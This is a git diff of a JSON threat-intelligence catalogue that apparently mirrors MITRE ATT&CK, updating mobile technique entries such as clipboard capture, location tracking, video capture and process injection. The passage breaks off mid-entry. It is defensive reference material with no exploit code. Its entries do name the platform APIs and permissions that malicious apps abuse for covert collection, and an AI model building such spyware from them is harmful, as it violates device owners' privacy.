"subtechnique-of" + } + ], + "uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "value": "Contact List - T1636.003" + }, { "description": "Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in /System/Library/LaunchDaemons/ and /Library/LaunchDaemons/. Required Launch Daemons parameters include a Label to identify the task, Program to provide a path to the executable, and RunAtLoad to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)\n\nAdversaries may install a Launch Daemon configured to execute at startup by using the RunAtLoad parameter set to true and the Program parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection)\n\nAdditionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as usr/local/bin to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019)", "meta": { @@ -19504,6 +20933,31 @@ "uuid": "61afc315-860c-4364-825d-0d62b2e91edc", "value": "Time Providers - T1547.003" }, + { + "description": "Adversaries may utilize standard operating system APIs to gather SMS messages. On Android, this can be accomplished using the SMS Content Provider. iOS provides no standard API to access SMS messages. \n\nIf the device has been jailbroken or rooted, an adversary may be able to access [SMS Messages](https://attack.mitre.org/techniques/T1636/004) without the user’s knowledge or approval. ", + "meta": { + "external_id": "APP-13", + "kill_chain": [ + "mitre-mobile-attack:collection" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1636/004", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html" + ] + }, + "related": [ + { + "dest-uuid": "11c2c2b7-1fd4-408f-bc2e-fe772ef9df5e", + "type": "subtechnique-of" + } + ], + "uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "value": "SMS Messages - T1636.004" + }, { "description": "Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nDHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.(Citation: rfc2131) The typical server-client interaction is as follows: \n\n1. The client broadcasts a `DISCOVER` message.\n\n2. The server responds with an `OFFER` message, which includes an available network address. \n\n3. The client broadcasts a `REQUEST` message, which includes the network address offered. \n\n4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters.\n\nAdversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g) Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.\n\nRather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e. [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)) by generating many broadcast DISCOVER messages to exhaust a network’s DHCP allocation pool. ", "meta": { @@ -20538,6 +21992,24 @@ "uuid": "ff73aa03-0090-4464-83ac-f89e233c02bc", "value": "System Shutdown/Reboot - T1529" }, + { + "description": "Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors after checking for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware’s behavior to disengage from the victim or conceal the core functions of the payload. They may also search for VME artifacts before dropping further payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1633) during automated discovery to shape follow-on behaviors. \n\nAdversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1633) such as checking for system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. ", + "meta": { + "external_id": "T1633", + "kill_chain": [ + "mitre-mobile-attack:defense-evasion" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1633" + ] + }, + "uuid": "27d18e87-8f32-4be1-b456-39b90454360f", + "value": "Virtualization/Sandbox Evasion - T1633" + }, { "description": "Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)\n\n", "meta": { @@ -21079,6 +22551,15 @@ "https://www.welivesecurity.com/2019/02/08/first-clipper-malware-google-play/" ] }, + "related": [ + { + "dest-uuid": "74e6003f-c7f4-4047-983b-708cc19b96b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "e399430e-30b7-48c5-b70a-f44dc8c175cb", "value": "Clipboard Modification - T1510" }, @@ -21466,6 +22947,15 @@ "https://developer.android.com/guide/components/broadcasts#changes-system-broadcasts" ] }, + "related": [ + { + "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", "value": "Broadcast Receivers - T1402" }, @@ -21699,7 +23189,7 @@ "value": "Path Interception - T1034" }, { - "description": "An adversary could use a malicious or exploited application to surreptitiously track the device's physical location through use of standard operating system APIs.", + "description": "Adversaries may track a device’s physical location through use of standard operating system APIs via malicious or exploited applications on the compromised device. \n\n \n\nOn Android, applications holding the `ACCESS_COAURSE_LOCATION` or `ACCESS_FINE_LOCATION` permissions provide access to the device’s physical location. On Android 10 and up, declaration of the `ACCESS_BACKGROUND_LOCATION` permission in an application’s manifest will allow applications to request location access even when the application is running in the background.(Citation: Android Request Location Permissions) Some adversaries have utilized integration of Baidu map services to retrieve geographical location once the location access permissions had been obtained.(Citation: PaloAlto-SpyDealer)(Citation: Palo Alto HenBox) \n\n \n\nOn iOS, applications must include the `NSLocationWhenInUseUsageDescription`, `NSLocationAlwaysAndWhenInUseUsageDescription`, and/or `NSLocationAlwaysUsageDescription` keys in their `Info.plist` file depending on the extent of requested access to location information.(Citation: Apple Requesting Authorization for Location Services) On iOS 8.0 and up, applications call `requestWhenInUseAuthorization()` to request access to location information when the application is in use or `requestAlwaysAuthorization()` to request access to location information regardless of whether the application is in use. With elevated privileges, an adversary may be able to access location data without explicit user consent with the `com.apple.locationd.preauthorized` entitlement key.(Citation: Google Project Zero Insomnia)", "meta": { "external_id": "APP-24", "kill_chain": [ @@ -21712,7 +23202,12 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1430", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-24.html" + "https://developer.android.com/training/location/permissions", + "https://developer.apple.com/documentation/corelocation/requesting_authorization_for_location_services", + "https://googleprojectzero.blogspot.com/2019/08/implant-teardown.html", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-24.html", + "https://researchcenter.paloaltonetworks.com/2017/07/unit42-spydealer-android-trojan-spying-40-apps/", + "https://unit42.paloaltonetworks.com/unit42-henbox-chickens-come-home-roost/" ] }, "uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", @@ -21859,6 +23354,15 @@ "https://shunix.com/shared-library-injection-in-android/" ] }, + "related": [ + { + "dest-uuid": "1ff89c1b-7615-4fe8-b9cb-63aaf52e6dee", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "039bc59c-ecc7-4997-b2b4-4ab728bd91aa", "value": "Code Injection - T1540" }, @@ -22418,6 +23922,15 @@ "https://www.xda-developers.com/android-q-system-alert-window-deprecate-bubbles/" ] }, + "related": [ + { + "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", "value": "Input Prompt - T1411" }, @@ -22645,7 +24158,25 @@ "value": "Data Encoding - T1132" }, { - "description": "Adversaries may utilize the camera to capture information about the user, their surroundings, or other physical identifiers. Adversaries may use the physical camera devices on a mobile device to capture images or video. By default, in Android and iOS, an application must request permission to access a camera device which is granted by the user through a request prompt. In Android, applications must hold the `android.permission.CAMERA` permission to access the camera. In iOS, applications must include the `NSCameraUsageDescription` key in the `Info.plist` file, and must request access to the camera at runtime.", + "description": "Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.", + "meta": { + "external_id": "T1521", + "kill_chain": [ + "mitre-mobile-attack:command-and-control" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1521" + ] + }, + "uuid": "ed2c05a1-4f81-4d97-9e1b-aff01c34ae84", + "value": "Encrypted Channel - T1521" + }, + { + "description": "An adversary can leverage a device’s cameras to gather information by capturing video recordings. Images may also be captured, potentially in specified intervals, in lieu of video files. \n\n \n\nMalware or scripts may interact with the device cameras through an available API provided by the operating system. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1513) due to use of the device’s cameras for video recording rather than capturing the victim’s screen. \n\n \n\nIn Android, an application must hold the `android.permission.CAMERA` permission to access the cameras. In iOS, applications must include the `NSCameraUsageDescription` key in the `Info.plist` file. In both cases, the user must grant permission to the requesting application to use the camera. If the device has been rooted or jailbroken, an adversary may be able to access the camera without knowledge of the user. ", "meta": { "external_id": "APP-19", "kill_chain": [ @@ -22661,7 +24192,7 @@ ] }, "uuid": "d8940e76-f9c1-4912-bea6-e21c251370b6", - "value": "Capture Camera - T1512" + "value": "Video Capture - T1512" }, { "description": "An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nIn macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)", @@ -22884,7 +24415,7 @@ "value": "Hidden Window - T1143" }, { - "description": "Adversaries may use screen captures to collect information about applications running in the foreground, capture user data, credentials, or other sensitive information. Applications running in the background can capture screenshots or videos of another application running in the foreground by using the Android `MediaProjectionManager` (generally requires the device user to grant consent).(Citation: Fortinet screencap July 2019)(Citation: Android ScreenCap1 2019) Background applications can also use Android accessibility services to capture screen contents being displayed by a foreground application.(Citation: Lookout-Monokle) An adversary with root access or Android Debug Bridge (adb) access could call the Android `screencap` or `screenrecord` commands.(Citation: Android ScreenCap2 2019)(Citation: Trend Micro ScreenCap July 2015)", + "description": "Adversaries may use screen capture to collect additional information about a target device, such as applications running in the foreground, user data, credentials, or other sensitive information. Applications running in the background can capture screenshots or videos of another application running in the foreground by using the Android `MediaProjectionManager` (generally requires the device user to grant consent).(Citation: Fortinet screencap July 2019)(Citation: Android ScreenCap1 2019) Background applications can also use Android accessibility services to capture screen contents being displayed by a foreground application.(Citation: Lookout-Monokle) An adversary with root access or Android Debug Bridge (adb) access could call the Android `screencap` or `screenrecord` commands.(Citation: Android ScreenCap2 2019)(Citation: Trend Micro ScreenCap July 2015) ", "meta": { "external_id": "APP-40", "kill_chain": [ @@ -22935,6 +24466,25 @@ "uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67", "value": "Create Account - T1136" }, + { + "description": "Adversaries may inject code into processes in order to evade process-based defenses or even elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. \n\nBoth Android and iOS have no legitimate way to achieve process injection. The only way this is possible is by abusing existing root access or exploiting a vulnerability.", + "meta": { + "external_id": "T1631", + "kill_chain": [ + "mitre-mobile-attack:defense-evasion", + "mitre-mobile-attack:privilege-escalation" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1631" + ] + }, + "uuid": "b7c0e45f-0206-4f75-96e7-fe7edad3aaff", + "value": "Process Injection - T1631" + }, { "description": "The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses [Hooking](https://attack.mitre.org/techniques/T1179) to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to [Hooking](https://attack.mitre.org/techniques/T1179), utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.", "meta": { @@ -23065,12 +24615,36 @@ "uuid": "6fb6408c-0db3-41d9-a3a1-a32e5f16454e", "value": "Gatekeeper Bypass - T1144" }, + { + "description": "Adversaries may abuse clipboard manager APIs to obtain sensitive information copied to the device clipboard. For example, passwords being copied and pasted from a password manager application could be captured by a malicious application installed on the device.(Citation: Fahl-Clipboard) \n\n \n\nOn Android, applications can use the `ClipboardManager.OnPrimaryClipChangedListener()` API to register as a listener and monitor the clipboard for changes. However, starting in Android 10, this can only be used if the application is in the foreground, or is set as the device’s default input method editor (IME).(Citation: Github Capture Clipboard 2019)(Citation: Android 10 Privacy Changes) \n\n \n\nOn iOS, this can be accomplished by accessing the `UIPasteboard.general.string` field. However, starting in iOS 14, upon accessing the clipboard, the user will be shown a system notification if the accessed text originated in a different application. For example, if the user copies the text of an iMessage from the Messages application, the notification will read “application_name has pasted from Messages” when the text was pasted in a different application.(Citation: UIPPasteboard)", + "meta": { + "external_id": "APP-35", + "kill_chain": [ + "mitre-mobile-attack:collection", + "mitre-mobile-attack:credential-access" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "http://saschafahl.de/static/paper/pwmanagers2013.pdf", + "https://attack.mitre.org/techniques/T1414", + "https://developer.android.com/about/versions/10/privacy/changes#clipboard-data", + "https://developer.apple.com/documentation/uikit/uipasteboard", + "https://github.com/grepx/android-clipboard-security", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-35.html" + ] + }, + "uuid": "c4b96c0b-cb58-497a-a1c2-bb447d79d692", + "value": "Clipboard Data - T1414" + }, { "description": "Adversaries may abuse Android's `startForeground()` API method to maintain continuous sensor access. Beginning in Android 9, idle applications running in the background no longer have access to device sensors, such as the camera, microphone, and gyroscope.(Citation: Android-SensorsOverview) Applications can retain sensor access by running in the foreground, using Android’s `startForeground()` API method. This informs the system that the user is actively interacting with the application, and it should not be killed. The only requirement to start a foreground service is showing a persistent notification to the user.(Citation: Android-ForegroundServices)\n\nMalicious applications may abuse the `startForeground()` API method to continue running in the foreground, while presenting a notification to the user pretending to be a genuine application. This would allow unhindered access to the device’s sensors, assuming permission has been previously granted.(Citation: BlackHat Sutter Android Foreground 2019)\n\nMalicious applications may also abuse the `startForeground()` API to inform the Android system that the user is actively interacting with the application, thus preventing it from being killed by the low memory killer.(Citation: TrendMicro-Yellow Camera)", "meta": { "external_id": "APP-19", "kill_chain": [ - "mitre-mobile-attack:collection", + "mitre-mobile-attack:defense-evasion", "mitre-mobile-attack:persistence" ], "mitre_platforms": [ @@ -23120,7 +24694,7 @@ "value": "Private Keys - T1145" }, { - "description": "An adversary with physical access to a mobile device may seek to bypass the device's lockscreen.\n\n### Biometric Spoofing\nIf biometric authentication is used, an adversary could attempt to spoof a mobile device's biometric authentication mechanism(Citation: SRLabs-Fingerprint)(Citation: SecureIDNews-Spoof)(Citation: TheSun-FaceID).\n\niOS partly mitigates this attack by requiring the device passcode rather than a fingerprint to unlock the device after every device restart and after 48 hours since the device was last unlocked (Citation: Apple-TouchID). Android has similar mitigations.\n\n### Device Unlock Code Guessing or Brute Force\nAn adversary could attempt to brute-force or otherwise guess the lockscreen passcode (typically a PIN or password), including physically observing (\"shoulder surfing\") the device owner's use of the lockscreen passcode. \n\n### Exploit Other Device Lockscreen Vulnerabilities\nTechniques have periodically been demonstrated that exploit vulnerabilities on Android (Citation: Wired-AndroidBypass), iOS (Citation: Kaspersky-iOSBypass), or other mobile devices to bypass the device lockscreen. The vulnerabilities are generally patched by the device/operating system vendor once they become aware of their existence.", + "description": "An adversary with physical access to a mobile device may seek to bypass the device’s lockscreen. Several methods exist to accomplish this, including:\n\n* Biometric spoofing: If biometric authentication is used, an adversary could attempt to spoof a mobile device’s biometric authentication mechanism. Both iOS and Android partly mitigate this attack by requiring the device’s passcode rather than biometrics to unlock the device after every device restart, and after a set or random amount of time.(Citation: SRLabs-Fingerprint)(Citation: TheSun-FaceID)\n* Unlock code bypass: An adversaries could attempt to brute-force or otherwise guess the lockscreen passcode (typically a PIN or password), including physically observing (“shoulder surfing”) the device owner’s use of the lockscreen passcode. Mobile OS vendors partly mitigate this by implementing incremental backoff timers after a set number of failed unlock attempts, as well as a configurable full device wipe after several failed unlock attempts.\n* Vulnerability exploit: Techniques have been periodically demonstrated that exploit mobile devices to bypass the lockscreen. The vulnerabilities are generally patched by the device or OS vendor once disclosed.(Citation: Wired-AndroidBypass)(Citation: Kaspersky-iOSBypass)\n", "meta": { "external_id": "T1461", "kill_chain": [ @@ -23133,8 +24707,6 @@ "refs": [ "https://attack.mitre.org/techniques/T1461", "https://srlabs.de/bites/spoofing-fingerprints/", - "https://support.apple.com/en-us/HT204587", - "https://thehackernews.com/2016/05/android-kernal-exploit.htmlhttps://www.secureidnews.com/news-item/another-spoof-of-mobile-biometrics/", "https://threatpost.com/ios-10-passcode-bypass-can-access-photos-contacts/122033/", "https://www.thesun.co.uk/tech/5584082/iphone-x-face-unlock-tricked-broken/", "https://www.wired.com/2015/09/hack-brief-new-emergency-number-hack-easily-bypasses-android-lock-screens/" @@ -23143,6 +24715,23 @@ "uuid": "dfe29258-ce59-421c-9dee-e85cb9fa90cd", "value": "Lockscreen Bypass - T1461" }, + { + "description": "Adversaries may insert, delete, or alter data in order to manipulate external outcomes or hide activity. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.\n\nThe type of modification and the impact it will have depends on the target application, process, and the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system, typically gained through a prolonged information gathering campaign, in order to have the desired impact.", + "meta": { + "external_id": "T1641", + "kill_chain": [ + "mitre-mobile-attack:impact" + ], + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1641" + ] + }, + "uuid": "c548d8c4-a0a3-4a24-bb79-2a84abbc7b36", + "value": "Data Manipulation - T1641" + }, { "description": "Adversaries may register Uniform Resource Identifiers (URIs) to intercept sensitive data.\n\nApplications regularly register URIs with the operating system to act as a response handler for various actions, such as logging into an app using an external account via single sign-on. This allows redirections to that specific URI to be intercepted by the application. If a malicious application were to register for a URI that was already in use by a genuine application, the malicious application may be able to intercept data intended for the genuine application or perform a phishing attack against the genuine application. Intercepted data may include OAuth authorization codes or tokens that could be used by the malicious application to gain access to resources.(Citation: Trend Micro iOS URL Hijacking)(Citation: IETF-PKCE)", "meta": { @@ -23160,13 +24749,22 @@ "https://tools.ietf.org/html/rfc7636" ] }, + "related": [ + { + "dest-uuid": "789ef15a-34d9-4b32-a779-8cbbc9eb32f5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "77e30eee-fd48-40b4-99ec-73e97c158b58", "value": "URI Hijacking - T1416" }, { - "description": "Adversaries may capture user input to obtain credentials or other information from the user through various methods.\n\nMalware may masquerade as a legitimate third-party keyboard to record user keystrokes.(Citation: Zeltser-Keyboard) On both Android and iOS, users must explicitly authorize the use of third-party keyboard apps. Users should be advised to use extreme caution before granting this authorization when it is requested.\n\nOn Android, malware may abuse accessibility features to record keystrokes by registering an `AccessibilityService` class, overriding the `onAccessibilityEvent` method, and listening for the `AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED` event type. The event object passed into the function will contain the data that the user typed.\n\nAdditional methods of keylogging may be possible if root access is available.", + "description": "Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal device usage, users often provide credentials to various locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Keylogging](https://attack.mitre.org/techniques/T1417/001)) or rely on deceiving the user into providing input into what they believe to be a genuine application prompt (e.g. [GUI Input Capture](https://attack.mitre.org/techniques/T1417/002)).", "meta": { - "external_id": "T1417", + "external_id": "AUT-13", "kill_chain": [ "mitre-mobile-attack:collection", "mitre-mobile-attack:credential-access" @@ -23177,7 +24775,8 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1417", - "https://zeltser.com/third-party-keyboards-security/" + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-31.html", + "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-13.html" ] }, "uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", @@ -23211,11 +24810,10 @@ "value": "Hidden Users - T1147" }, { - "description": "Adversaries may seek to identify all applications installed on the device. One use case for doing so is to identify the presence of endpoint security applications that may increase the adversary's risk of detection. Another use case is to identify the presence of applications that the adversary may wish to target.\n\nOn Android, applications can use methods in the PackageManager class (Citation: Android-PackageManager) to enumerate other apps installed on device, or an entity with shell access can use the pm command line tool.\n\nOn iOS, apps can use private API calls to obtain a list of other apps installed on the device. (Citation: Kurtz-MaliciousiOSApps) However, use of private API calls will likely prevent the application from being distributed through Apple's App Store.", + "description": "Adversaries may attempt to get a listing of applications that are installed on a device. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1418) during automated discovery to shape follow-on behaviors, including whether or not to fully infect the target and/or attempts specific actions. \n\n \n\nAdversaries may attempt to enumerate applications for a variety of reasons, such as figuring out what security measures are present or to identify the presence of target applications. ", "meta": { - "external_id": "T1418", + "external_id": "APP-12", "kill_chain": [ - "mitre-mobile-attack:defense-evasion", "mitre-mobile-attack:discovery" ], "mitre_platforms": [ @@ -23223,13 +24821,12 @@ "iOS" ], "refs": [ - "https://andreas-kurtz.de/2014/09/malicious-ios-apps/", "https://attack.mitre.org/techniques/T1418", - "https://developer.android.com/reference/android/content/pm/PackageManager.html" + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-12.html" ] }, "uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", - "value": "Application Discovery - T1418" + "value": "Software Discovery - T1418" }, { "description": "Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. (Citation: Slideshare Abusing SSH) (Citation: SSHjack Blackhat) (Citation: Clockwork SSH Agent Hijacking) Compromising the SSH agent also provides access to intercept SSH credentials. (Citation: Welivesecurity Ebury SSH)\n\n[SSH Hijacking](https://attack.mitre.org/techniques/T1184) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it injects into an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).", @@ -23263,7 +24860,7 @@ "value": "SSH Hijacking - T1184" }, { - "description": "Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system.\n\nThese commands may also include pointers to command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).", + "description": "Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media, acting as a mechanism for C2, may give a significant amount of cover. This is due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. \n\n \n\nUse of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis, or enable operational resiliency (since this infrastructure may be dynamically changed). \n\n ", "meta": { "external_id": "T1481", "kill_chain": [ @@ -23378,7 +24975,7 @@ "value": "Startup Items - T1165" }, { - "description": "A malicious application can read notifications sent by the operating system or other applications, which may contain sensitive data such as one-time authentication codes sent over SMS, email, or other mediums. A malicious application can also dismiss notifications to prevent the user from noticing that the notifications arrived and can trigger action buttons contained within notifications.(Citation: ESET 2FA Bypass)", + "description": "Adversaries may collect data within notifications sent by the operating system or other applications. Notifications may contain sensitive data such as one-time authentication codes sent over SMS, email, or other mediums. In the case of Credential Access, adversaries may attempt to intercept one-time code sent to the device. Adversaries can also dismiss notifications to prevent the user from noticing that the notification has arrived and can trigger action buttons contained within notifications.(Citation: ESET 2FA Bypass) ", "meta": { "external_id": "T1517", "kill_chain": [ @@ -23627,6 +25224,15 @@ "https://attack.mitre.org/techniques/T1618" ] }, + "related": [ + { + "dest-uuid": "24a77e53-0751-46fc-b207-99378fb35c08", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "2f0e8d80-4b8b-4f4a-b5cc-132afe7e057d", "value": "User Evasion - T1618" }, @@ -23798,24 +25404,6 @@ "uuid": "e4dc8c01-417f-458d-9ee0-bb0617c1b391", "value": "Debugger Evasion - T1622" }, - { - "description": "Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file formats that can encrypt files are RAR and zip.", - "meta": { - "external_id": "T1532", - "kill_chain": [ - "mitre-mobile-attack:exfiltration" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1532" - ] - }, - "uuid": "e3b936a4-6321-4172-9114-038a866362ec", - "value": "Data Encrypted - T1532" - }, { "description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nDNS (cache) poisoning is the corruption of an Internet server's domain name system table by replacing an Internet address with that of another, rogue address. When a Web user seeks the page with that address, the request is redirected by the rogue entry in the table to a different address. (Citation: Google DNS Poisoning) (Citation: DNS Poisoning China) (Citation: Mexico Modem DNS Poison)", "meta": { @@ -23831,14 +25419,15 @@ "value": "DNS poisoning - T1382" }, { - "description": "On Android versions prior to 5, applications can observe information about other processes that are running through methods in the ActivityManager class. On Android versions prior to 7, applications can obtain this information by executing the ps command, or by examining the /proc directory. Starting in Android version 7, use of the Linux kernel's hidepid feature prevents applications (without escalated privileges) from accessing this information (Citation: Android-SELinuxChanges).", + "description": "Adversaries may attempt to get information about running processes on a device. Information obtained could be used to gain an 